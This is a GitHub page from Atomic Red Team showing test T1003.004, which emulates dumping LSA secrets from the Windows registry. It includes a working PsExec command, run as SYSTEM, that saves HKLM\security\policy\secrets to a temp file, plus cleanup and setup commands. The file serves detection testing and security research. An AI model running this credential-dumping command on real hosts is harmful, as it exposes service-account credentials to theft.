Skip to content

Latest commit

 

History

History
62 lines (39 loc) · 2.43 KB

T1003.004.md

File metadata and controls

62 lines (39 loc) · 2.43 KB
Raw

T1003.004 - LSA Secrets

Description from ATT&CK

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)

Atomic Tests


Atomic Test #1 - Dumping LSA Secrets

Dump secrets key from Windows registry When successful, the dumped file will be written to $env:Temp\secrets. Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information. https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
psexec_exe Path to PsExec executable Path PathToAtomicsFolder\T1003.004\bin\PsExec.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

#{psexec_exe} -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets

Cleanup Commands:

del %temp%\secrets >nul 2> nul

Dependencies: Run with powershell!

Description: PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe})
Check Prereq Commands:
if (Test-Path #{psexec_exe}) {exit 0} else {exit 1}
Get Prereq Commands:
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PSTools.zip"
Expand-Archive $env:TEMP\PSTools.zip $env:TEMP\PSTools -Force
New-Item -ItemType Directory (Split-Path #{psexec_exe}) -Force | Out-Null
Copy-Item $env:TEMP\PSTools\PsExec.exe #{psexec_exe} -Force